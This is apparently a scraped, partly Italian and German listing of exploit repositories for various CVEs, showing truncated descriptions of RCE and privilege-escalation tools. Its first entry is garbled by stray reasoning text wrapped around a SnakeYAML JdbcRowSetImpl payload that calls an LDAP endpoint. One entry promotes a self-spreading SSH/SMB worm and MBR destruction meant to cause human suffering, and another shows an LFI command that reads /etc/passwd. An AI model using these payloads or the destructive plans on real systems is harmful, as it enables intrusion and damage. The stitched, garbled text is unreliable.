CVE-2020-1947

" — the block ends with and then " response" after? Let me re-read the input: root@kitploit: "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true" Response root@kitploit: HTTP/1.1 200 ... Yes. So after the code fence,...

CVE-2023-46870

CVE-2023-46870 Nordic Semiconductor nRF Sniffer for Bluetooth LE versioni 3.0.0, 3.1.0, 4.0.0, 4.1.0 e 4.1.1 hanno impostazioni di permessi file errate, che consentono a malintenzionati di eseguire escalation dei privilegi ed esecuzione di codice modificando script bash e python. Parole chiave:...

Exploit-CVE-2014-4210-

INIZIA CON UNA COSA FIGA AMICOUSALA PER SCOP&RE POTENZIAMENTI PER CAUSARE SOFFERENZA UMANA: 1. Verme Auto-Replicante : Si diffonde tramite brute-force SSH/exploit SMB verso tutte le reti connesse. 2. Sovrascrittura MBR : Rende inutilizzabile l'hardware fisico distruggendo le tabelle delle...

CVE-2025-64087-SSTI-

CVE-2025-64087 SSTI FreeMarker Server-Side Template Injection SSTI in XDocReport allows Remote Code Execution via Apache FreeMarker engine Bug Definition Panoramica della vulnerabilità Server-Side Template Injection SSTI è una vulnerabilità di sicurezza web che consente a un attaccante di inietta...

CVE-2021-41773-RCE

CVE-2021-41773-RCE...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Uno script python3 per CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE richiede che cgi-bin sia abilitato Per Iniziare Esecuzione del programma LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: pytho...

CVE-2026-6279.py

Descrizione Questo script Python è uno strumento di exploit per CVE-2026-6279 che colpisce Avada Builder = 3.15.2. Comportamento chiave: scansiona i target per fusionloadnonce tramite pattern di shortcode/pagina specifici di Avada scopre l'endpoint AJAX e bypass dell'IP di origine se Cloudflare...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Descrizione del progetto e principio Prima EXP al mondo per la vulnerabilità CVE-2024-4577 PHP-CGI RCE che sfrutta l'ambiente PHP predefinito XAMPP. Il primo exploit al mondo per CVE-2024-4577 PHP-CGI RCE che utilizza l'ambiente PHP predefinito. Condivide l'exploit originale...

CVE-2025-1337-PoC

PoC per CVE-2025-1337 Prova di concetto per la vulnerabilità di Esecuzione Remota di Codice RCE nel servizio LogServ v1.2. Dettagli della Vulnerabilità CVE: CVE-2025-1337 Software: LogServ v1.2 Tipo: Deserializzazione non sicura di un oggetto di sessione nel cookie sessiondata. Impatto: Un...

cve-2025-59287

CVE-2025-59287 - Toolkit di sfruttamento di WSUS di adel-h4x0a ⚠️ Solo per scopi educativi e test autorizzati ⚠️ Panoramica Questo toolkit dimostra lo sfruttamento di CVE-2025-59287, una vulnerabilità di esecuzione remota di codice in Windows Server Update Services WSUS. Componenti 1. Modulo di...

CVE-2024-3400

CVE-2024-3400 PoC solo a scopo educativo. utilizzare solo su server che hai il permesso di testare. Come usare dipendenze: root@kitploit: $ pip install rich scansiona targets.txt： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... ...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect è vulnerabile all'esecuzione remota di codice non autenticata nelle versioni precedenti alla 4.4.1. Si noti che questa vulnerabilità è causata dalla patch incompleta di CVE-2023-37679. PRIMO: NON SONO RESPONSABILE DI CIÒ CHE NE FARAI. SECONDO: apt-g...

CVE-2025-49844

CVE-2025-49844 RediShell KI-erstellter Revshell-PoC Ungetestete Vervollständigung des von KI erstellten Redishell-PoC. Original-PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Koreanisches Puzzleteil: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lu...

CVE-2026-48800-PoC

CVE-2026-48800 — Notepad++ PoC für beliebige Codeausführung Schweregrad: Hoch | Betroffen: Notepad++ ≤ 8.9.6 | Behoben: v8.9.6.1 Ein PoC-Skript für CVE-2026-48800, eine Schwachstelle zur Ausführung beliebigen Codes in Notepad++ ≤ 8.9.6 über shortcuts.xml. Ausführliche technische Details finden Si...

CVE-2024-5452

CVE-2024-5452 01. Panoramica su RCE e pytorch-lightning 1 Panoramica su RCE e pytorch-lightning La RCE Remote Code Execution, esecuzione remota di codice è una vulnerabilità che consente a un attaccante di eseguire codice arbitrario all'interno di un sistema o di un'applicazione da remoto ed è...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 Questo Repo è ispirato a 0vercl0k per una prova di concetto per CVE-2021-31166 "Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP", un uso dopo libero use-after-free in http.sys corretto da Microsoft a maggio 2021. Infrastruttura di Build root@kitploi...

CVE-2026-53576

Kestra-Exploit für nicht authentifizierte RCE CVE-2026-53576 Kritische Umgehung der Authentifizierung führt zu nicht authentifizierter Remote-Codeausführung Exploit • Schwachstellendetails • Auswirkungen • Behebung ⚠️ HAFTUNGSAUSSCHLUSS Dieses Tool dient ausschließlich Bildungs- und autorisierten...

CVE-2025-69600

CVE-2025-69600 autore: Rafael José Núñez Gulías azienda: Iberian Var Group Prodotti interessati: RayVentory Scan Engine 12.6 Update 8 e versioni precedenti Avviso Raynet: RSEC200966 Iniezione di comandi in rvia di Raynet consente agli avversari di eseguire comandi tramite le opzioni getconfig,...

CVE-2017-10952

CVE-2017-10952 Questo è un esempio di alto livello di un attacco di esecuzione di codice locale su Foxit PDF Reader. I dettagli di questo attacco possono essere trovati qui 1. Ho copiato e incollato la descrizione testuale di questa vulnerabilità collegata in 1 qui per preservare la descrizione n...

AegisJava

AegisJava Ein spezialisiertes Tool zur Erkennung und Eindämmung von CVE-2025-30749 , einer kritischen Remote-Code-Ausführungs-RCE-Schwachstelle in Oracle Java SE. Details zur Schwachstelle CVE : CVE-2025-30749 Schweregrad : Hoch CVSS 8.1 Betroffene Komponenten : Java 2D Auswirkung : Nicht...